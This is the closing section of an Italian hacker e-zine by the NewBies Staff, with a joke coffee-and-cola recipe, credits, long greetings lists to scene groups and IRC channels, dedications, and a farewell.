Piji na kaffettiera... ne svuoti metà in uno shacker kon 5 o 6 kubetti di
ghiaccio... shakeri bene... metti in un bikkierozzo da un quarto di litro
aggiungi coca finkè non raggiungi l'orlo del bikkiere...
Skolare kon prudenza e attenzione al /dev/kardio ke in genere al primo
kokakoffee va in takikardia viulenda|!|

FINAL:
Ora avete il diritto di insultarmi menarmi o sodomizzarmi a piacere visto
ke per skrivere 6 rigozzoli di artikolo su una kosa ke kon l'hacking
c'entra na sega ho skritto 50 righe di puttanate fra 10z e konsumi :)

bacioni a tutti e soprattutto a Dante Devvolo e EEECccctttullluuu{alla
Smavvola Maniera si pronuncia tipo uno starnuto ke finisce in uno
skarakkio}

Miao Todos Los Luppolos
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
_ _ ____ _
| \ | | _____ _| __ )(_) ___ ___
| \| |/ _ \ \ /\ / / _ \| |/ _ Y __|
| |\ | __/\ V V /| |_) | | __|__ \
|_| \_|\___| \_/\_/ |____/|_|\___|___/

Redattori ------------> N0bodY88-ooo & Dante Alighieri
CoRedattore ----------> |M4X|
E-zine by ------------> N0bodY88-ooo & Dantuzzo & |M4X| & NewBies Staff
Ascii by -------------> N0bodY88-ooo & |-|15cR4zYm1nD & S0l1t4r10~M4N
Loghi NewBies by -----> RigoR MorteM
Articoli -------------> NewBies Staff & Friends
AllDedicatedTo -------> Smav

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ SALUTI ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

Dante Alighieri & N0bodY88-ooo

SALUTANO: (li ordino x gruppi se no faccio doppioni come nel 1ø num...)

tutta la HDE quindi Smav, Adry, V56, Sharra che mi hanno fatto passare i piu'
bei mesi della mia vita :D :* ve voio bene bro & sisters

tutti gli amici di #c.a.c.c.a in particolare smav, adry, sharra, v56,
dantealig, xunil, djpulce, dark-elf, _p0nic0_,
^Sonic^, gsus, devilnet, theduke, k0ma, smilzo,
\sPIRIT\, fuzzo, guf0z aka guf`l0ve, mr_bis0n,
neogmc, rubrik, vaffa e tutti i bro che
dimentico ;)

tutti gli amici di #hollagrafix in particolare neuro, smilzo, nonex, l0rdo,
vecna, ron/mk, e`m0tion, \sPIRIT\, asfalto85,
black berry, bikappa, peter_And, o2, ahpook,
e tutti i vari n0body85 e n0body che mi fanno
pensare di cominciare a sdoppiarmi senza
accorgermene ;)

tutto il NewBies Staff tra cui Zerocool, Dante Alighieri, Devilnet, Harlok,
Blinking, Master, Firebeam, aLT255, Quequero, +MaLaTTiA,
Cod, Ritz, Johnny, Ironman, [-W|nz-], _p0nic0_, Nick1,
mR_bIs0n-Mr_Skull, Rez, Avogrado, Zippy2k, Dark_elf,
DeviLNeT, JohnnyRunner, Barninga Z!, rwxrw-r-x, The
Intruder, XuNiL, |CyRaX|, M4VER1CK, Vejeta, F3D3R1[0,
Ax1s, XaRaBaS, r3b0ot, Darkside, Lord Destruction, Vecna,
Ja[3]Ck, Zinco, Vulcan,Blum, Ron|n, Urkes, SkHammer,
Avatar666, ElectroRipper, Nietzsche, Spymaster, Rafcrash,
ZioFill, Darkman, Ramesse, Wurzel, Fusyllo, [Akuma],
Nemesis, Ghimlet, Sorrow The Prince, Meew, Fritz, Alby,
Sciaman, Game, Lopks, ©ipLey, Killex, Neural Noise,
Pusillus, Kill3xx, S2, Frensis, GCC, Alpha-666, Kalidor,
Velvet, Vaffa, ~ÑaBat½ha, Tetofuck, Pankrazio, McFly,
Sepiroth, SoftWord, Hamelin, Brusto, Anti-social, [max],
StuZzik0&|bLeaH, BlackDruiD, Z10-K41i, \JusTme\, St0rM
BriNgeR, Ennaro, Mr Skull, S_A_S_H_A, Devil_666, Carnifex,
KarmA_YogA, Pippo Calo' e a tutti quelli che ho dimentica
to {|:D

tutti gli Spippolatori ed in particolare RigoR MorteM, Master, Wurzel, Teresa
Canis, X-Hacker, Harlock, Misha, ChRoMe, ADaM, Tira,
F14m3r, Brigante, Fritz, Buttha, Azathoth, NighTiger,
AntoMar, erGoline, SirPsychoSexy, Harlock, Jamil :),
Conte Stefy Rainer, Baccoz, Hackmore, Chrome, Quequero
e i suoi due simpaticcissimi amici

tutti quelli di BFI ed in particolare \sPIRIT\, Black Berry, Blinking, Vanadio,
Cavallo, Smaster, Belfaghor, Fusys, Nelloz, (gli ultimi 4
conosciuti allo smau e posso conferma..sono dei miti :DD)
PigPen, e tutti i fratelli (ne conosco pochi) dell'orda.

tutti quelli di Systemdown in particolare Ragged Robin e Infected machine

tutti gli altri ed in particolare NO SPAM, Meimi, Black Baron, Fake, Zelig,
Newbie 1.0, Luna, Mayhem, Maniac666, Dr_Slump, Lupo,
Adriana, raul, A-SyNcHrO, BlackJAM, Linux, Nt Flander,
L0rdFelix, Antirez, Awgn, Li-nux, w00w00, lo Smilzo,
_hola_, Lord Guf, Li-nux, Oldiron 61, Bobo, Lando e
tutti quei grandi degli Attila Hack e del Wannabe Staff,
^Acidburn, war-lock, Nyarlothe, Azim, NaiL_d0d, ]s4TsYN[,
`dize`, Napo, NikDH, Jammina e Esponential Force.

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ THIS NUMBA IS DEDICATED BY N0bodY88-ooo TO: ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

[ smav... serve un motivo? ]
[ RigoR MorteM... x esserci stato nei momenti in cui avevo bisogno di un bro]
[ nedda... x tutti i crackme e i prog fatti insieme con softice e la maria..]
[ avogrado... che se la smette con plauto e si da al c e' meglio :PP hihihi ]
[ master... xche' parlare con lui al telefono puo' cambiarti la vita :D ]
[ fake... x tutti i pomeriggi passati insieme a codare e a studiarci linux ]
[ tutti i bro di mi, nonex, k0ma, elvis x le belle notti insieme ]
[ black berry... x il pomeriggio a casa sua a vedere manuali e bere coca!!! ]
[ mayhem... xche' un esperto di reti cosi' non credo che lo vedro' mai piu'!]
[ lord destruction... che in fondo non ci lascera' mai...6 uno di noi bro...]
[ dark-elf...che all'hack-it mi deve offrire 2 birre che devo allo smilzo ;)]
[ \sPIRIT\... x Linguaggio Assembler Avanzato che si rivela stramegautile!! ]
[ chrome...se non viene ad un altro meet x inventario lo si va a trovare noi]
[ vecna...che mi sprona a migliorare e rulezza sempre di piu' su bugtraq!!! ]
[ fusys...se non rilasciava l'exploit remoto di sniffit, all'hack-it ... ;) ]
[ tutti quelli che rivedro' e conoscero' allo smau e al futurshow :D ]

|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-_-|-

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ THIS NUMBA IS DEDICATED BY Dante Alighieri TO:³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

[La vita...xchè mi propone sempre nuove situazioni, sempre + incasinate ]
[TheDuke...xchè mi stà a fà quasi da paparino :P ]
[\sPIRIT\...xhè cazzo fratè..ammazza quanto dormi!! ]
[I gattini trovati all'hackit (Debian, Slack, SuSE ... )...xchè erano teneri!]
[I loculi dell'hackit...xchè di posti + zozzi ce ne sono pochi ]
[I Softpj...xchè molti di voi sono umili...altri meno..ma così è la vida ]
[Smilzo...xchè m'ha soddisfatto sessualmente ]
[LOA di milano...xchè siete forti!!! ]
[MADDLER...xchè..PORKODDIO..xchè...PORKODDIO...non lo so xchè PORKODDIOOOO!!!]




Fine e-zine: purtroppo questa volta come le altre siamo giunti alla fine di
questa e-zine. Sperando che gli articoli siano piaciuti e abbiano potuto dare
una mano, uno spunto o anke solo una dritta a qualcuno di voi noi ci
congediamo (io in particolare che sto scrivendo =) ehehe ) lasciandovi con
un pezzo della canzone Imagine del sempremitico John Lennon...

"U may say I'm a dreamer...
but I'm not the only one..."

In memory of our friend John Lennon

N0bodY88-ooo a really really newbies and a
proud member of NewBies Staff,
an Spp Member and a Smav Amicicio

PS: io conto di rivedervi al prox numero della e-zine...non mancate ;)
PSS: x chi volesse scriverci ricordo che la mia mail e' n0body88@freemail.it
e quella di dante e' dantuz@freemail.it

...
chi arriva qui leggendo tutto e tutto d'un fiato vince un weekend di
distruzione totale a casa di N0bodY88-ooo come la volta scorsa (ps: la volta
scorsa ha vito Lord Destruction...e stavolta chi vincera'?
...
sconsigliato ai deboli di cuore, agli anziani e a coloro che vivono ormai
da

  
troppo tempo in un loop infinito
...
il "destruction party" si terra' anke in quest'occasione a casa mia... anke
se da quando cantavamo io e lordo ubriachi marci alle 3 di mattina davanti
ai ns fidi pc i miei non vogliono che frequenti piu' gli "amici di computer"
a dirlo sembra na setta sadomaso =)
...
hihihi





















































scemo chi legge :P

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT